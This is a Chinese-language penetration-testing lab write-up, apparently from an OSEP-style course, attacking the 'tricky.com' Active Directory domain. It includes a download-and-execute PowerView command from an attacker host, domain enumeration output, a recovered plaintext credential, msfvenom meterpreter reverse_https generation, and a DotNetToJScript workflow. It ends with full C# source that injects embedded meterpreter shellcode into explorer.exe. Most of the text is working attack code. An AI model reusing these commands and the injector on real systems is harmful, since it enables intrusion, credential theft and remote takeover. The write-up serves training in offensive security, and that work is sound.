192.168.243.159反弹回来的shell，查看ip地址时发现内网地址为172.16.243.155:
导入PowerView，进行简单的搜集信息：
SHELL> IEX((New-Object System.Net.WebClient).DownloadString('[<http://192.168.49.243/PowerView.ps1>](<http://192.168.49.243/PowerView.ps1>)'))
SHELL> Get-DomainComputer
结果如下：（部分截图）
pwdlastset : 7/18/2022 10:02:55 PM
logoncount : 70
msds-generationid : {3, 173, 14, 147...}
serverreferencebl : CN=DC04,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=tricky,DC=com
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname : CN=DC04,OU=Domain Controllers,DC=tricky,DC=com
objectclass : {top, person, organizationalPerson, user...}
lastlogontimestamp : 7/18/2022 10:02:55 PM
name : DC04
objectsid : S-1-5-21-500681758-3045653280-464737313-1000
samaccountname : DC04$
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
whenchanged : 7/19/2022 5:02:55 AM
accountexpires : NEVER
countrycode : 0
operatingsystem : Windows Server 2019 Standard
instancetype : 4
msdfsr-computerreferencebl : CN=DC04,CN=Topology,CN=Domain System
Volume,CN=DFSR-GlobalSettings,CN=System,DC=tricky,DC=com
objectguid : 6c4cf8cb-7eb8-4d44-a9e4-fbf796391fc5
operatingsystemversion : 10.0 (17763)
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=tricky,DC=com
dscorepropagationdata : {7/8/2020 8:55:29 AM, 1/1/1601 12:00:01 AM}
serviceprincipalname : {Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/dc04.tricky.com,
ldap/dc04.tricky.com/ForestDnsZones.tricky.com,
ldap/dc04.tricky.com/DomainDnsZones.tricky.com, TERMSRV/DC04...}
usncreated : 12293
lastlogon : 7/18/2022 10:03:03 PM
badpwdcount : 0
cn : DC04
useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
whencreated : 7/8/2020 8:55:28 AM
primarygroupid : 516
iscriticalsystemobject : True
msds-supportedencryptiontypes : 28
usnchanged : 86072
ridsetreferences : CN=RID Set,CN=DC04,OU=Domain Controllers,DC=tricky,DC=com
dnshostname : dc04.tricky.com
logoncount : 138
badpasswordtime : 12/14/2020 1:46:25 AM
distinguishedname : CN=CLIENT09,OU=TWorkstations,OU=TComputers,DC=tricky,DC=com
objectclass : {top, person, organizationalPerson, user...}
badpwdcount : 0
lastlogontimestamp : 7/18/2022 10:03:19 PM
objectsid : S-1-5-21-500681758-3045653280-464737313-1111
samaccountname : CLIENT09$
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
countrycode : 0
cn : CLIENT09
accountexpires : NEVER
whenchanged : 7/19/2022 5:18:18 AM
instancetype : 4
usncreated : 12965
objectguid : c2735f66-a7f9-4da1-b631-7335454ab713
operatingsystem : Windows 10 Enterprise
operatingsystemversion : 10.0 (18363)
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=tricky,DC=com
dscorepropagationdata : {7/8/2020 10:49:27 AM, 1/1/1601 12:00:00 AM}
serviceprincipalname : {TERMSRV/CLIENT09, TERMSRV/client09.tricky.com, RestrictedKrbHost/CLIENT09,
HOST/CLIENT09...}
lastlogon : 7/18/2022 10:18:18 PM
iscriticalsystemobject : False
usnchanged : 86230
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT
whencreated : 7/8/2020 10:48:54 AM
primarygroupid : 515
pwdlastset : 7/18/2022 10:18:18 PM
msds-supportedencryptiontypes : 28
name : CLIENT09
dnshostname : client09.tricky.com
logoncount : 87
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname : CN=SQL05,OU=TSQL,OU=TServers,OU=TComputers,DC=tricky,DC=com
objectclass : {top, person, organizationalPerson, user...}
badpwdcount : 0
lastlogontimestamp : 7/18/2022 10:03:12 PM
objectsid : S-1-5-21-500681758-3045653280-464737313-1112
samaccountname : SQL05$
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
countrycode : 0
cn : SQL05
accountexpires : NEVER
whenchanged : 7/19/2022 5:18:12 AM
instancetype : 4
usncreated : 12991
objectguid : 72c38800-aaaa-4db9-987e-584160eb6315
operatingsystem : Windows Server 2019 Standard
operatingsystemversion : 10.0 (17763)
ms-mcs-admpwdexpirationtime : 132635132946577270
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=tricky,DC=com
dscorepropagationdata : {7/8/2020 10:53:04 AM, 1/1/1601 12:00:01 AM}
serviceprincipalname : {TERMSRV/SQL05, TERMSRV/sql05.tricky.com, WSMAN/sql05, WSMAN/sql05.tricky.com...}
lastlogon : 7/18/2022 10:21:24 PM
iscriticalsystemobject : False
usnchanged : 86221
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT
whencreated : 7/8/2020 10:51:33 AM
primarygroupid : 515
pwdlastset : 7/18/2022 10:18:12 PM
msds-supportedencryptiontypes : 28
name : SQL05
dnshostname : sql05.tricky.com
logoncount : 90
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname : CN=SQL07,OU=TSQL,OU=TServers,OU=TComputers,DC=tricky,DC=com
objectclass : {top, person, organizationalPerson, user...}
badpwdcount : 0
lastlogontimestamp : 7/18/2022 10:03:15 PM
objectsid : S-1-5-21-500681758-3045653280-464737313-1113
samaccountname : SQL07$
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
countrycode : 0
cn : SQL07
accountexpires : NEVER
whenchanged : 7/19/2022 5:18:15 AM
instancetype : 4
usncreated : 13015
objectguid : e3f48932-db09-43da-bcbc-32e44ab9ccf9
operatingsystem : Windows Server 2019 Standard
operatingsystemversion : 10.0 (17763)
ms-mcs-admpwdexpirationtime : 132635132526588115
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=tricky,DC=com
dscorepropagationdata : {7/8/2020 10:53:04 AM, 1/1/1601 12:00:01 AM}
serviceprincipalname : {TERMSRV/SQL07, TERMSRV/sql07.tricky.com, WSMAN/sql07, WSMAN/sql07.tricky.com...}
lastlogon : 7/18/2022 10:21:27 PM
iscriticalsystemobject : False
usnchanged : 86226
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT
whencreated : 7/8/2020 10:52:44 AM
primarygroupid : 515
pwdlastset : 7/18/2022 10:18:15 PM
msds-supportedencryptiontypes : 28
name : SQL07
dnshostname : sql07.tricky.com
logoncount : 66
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname : CN=MAIL01,OU=TServers,OU=TComputers,DC=tricky,DC=com
objectclass : {top, person, organizationalPerson, user...}
badpwdcount : 0
lastlogontimestamp : 7/18/2022 10:03:05 PM
objectsid : S-1-5-21-500681758-3045653280-464737313-2101
samaccountname : MAIL01$
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
countrycode : 0
cn : MAIL01
accountexpires : NEVER
whenchanged : 7/19/2022 5:18:05 AM
instancetype : 4
usncreated : 33031
objectguid : 760ff2d9-102d-4783-a438-9fd6f0ba06d5
operatingsystem : Windows Server 2019 Standard
operatingsystemversion : 10.0 (17763)
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=tricky,DC=com
dscorepropagationdata : {9/18/2020 9:03:43 PM, 1/1/1601 12:00:01 AM}
serviceprincipalname : {TERMSRV/MAIL01, TERMSRV/mail01.tricky.com, WSMAN/mail01, WSMAN/mail01.tricky.com...}
lastlogon : 7/18/2022 10:20:10 PM
iscriticalsystemobject : False
usnchanged : 86218
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT
whencreated : 9/18/2020 9:01:19 PM
primarygroupid : 515
pwdlastset : 7/18/2022 10:18:05 PM
msds-supportedencryptiontypes : 28
name : MAIL01
dnshostname : mail01.tricky.com
查看所有运行中进程的命令行参数：
SHELL> wmic process get caption,commandline /value
找到一个有意思的点：
SHELL> more 'c:\\program files\\setup\\mail.ps1’
得到一个凭证：will/fdsfssdfDFG4
为方便后续操作，尝试生成一个meterpreter的shell，命令如下：
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.49.243 LPORT=443 -f csharp
利用DotNetToJScript生成JS的payload，参考教材P112，命令如下：
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o rev.js
其中，ExampleAssembly.dll用的就是DotNetToJScript项目中模版文件生成的：
// This file is part of DotNetToJScript.
// Copyright (C) James Forshaw 2017
//
// DotNetToJScript is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// DotNetToJScript is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with DotNetToJScript. If not, see <http://www.gnu.org/licenses/>.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
using System.Text; //using System.Threading.Tasks;
[ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public TestClass()
{
Process[] expProc = Process.GetProcessesByName("explorer"); int pid = expProc[0].Id; IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
//msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.49.64 LPORT=443 -f csharp
byte[] buf = new byte[667] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x51,0x56,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0x0f,0xb7,0x4a,0x4a,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x44,0x8b,
0x40,0x20,0x8b,0x48,0x18,0x50,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0x0f,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,
0x2e,0x32,0x34,0x33,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x01,0x00,
0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,
0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x71,0x00,0x00,0x00,0x2f,0x7a,0x72,0x5f,
0x38,0x70,0x4d,0x4e,0x36,0x48,0x62,0x41,0x34,0x4a,0x54,0x6b,0x6e,0x57,0x76,
0x33,0x6e,0x61,0x67,0x38,0x69,0x57,0x45,0x4a,0x46,0x71,0x56,0x4e,0x32,0x47,
0x72,0x2d,0x44,0x4d,0x6f,0x70,0x73,0x63,0x4a,0x6b,0x45,0x34,0x6d,0x47,0x6d,
0x49,0x65,0x30,0x4c,0x6d,0x6d,0x57,0x38,0x36,0x41,0x56,0x52,0x39,0x53,0x44,
0x6b,0x4a,0x68,0x39,0x5a,0x42,0x47,0x31,0x49,0x64,0x64,0x6b,0x65,0x4e,0x4a,
0x4e,0x76,0x72,0x46,0x68,0x44,0x67,0x47,0x64,0x49,0x33,0x4b,0x35,0x6c,0x67,
0x6e,0x7a,0x4a,0x69,0x45,0x56,0x57,0x69,0x34,0x39,0x39,0x4d,0x74,0x34,0x4f,
0x49,0x71,0x35,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,
0x48,0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,
0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,0x89,
0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,0x04,
0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,0x4d,
0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,
0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,
0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,
0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,
0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,
0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,
0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,
0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,
0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,
0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,
0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
IntPtr outSize; WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
public void RunProcess(string path)
{
Process.Start(path);
}
}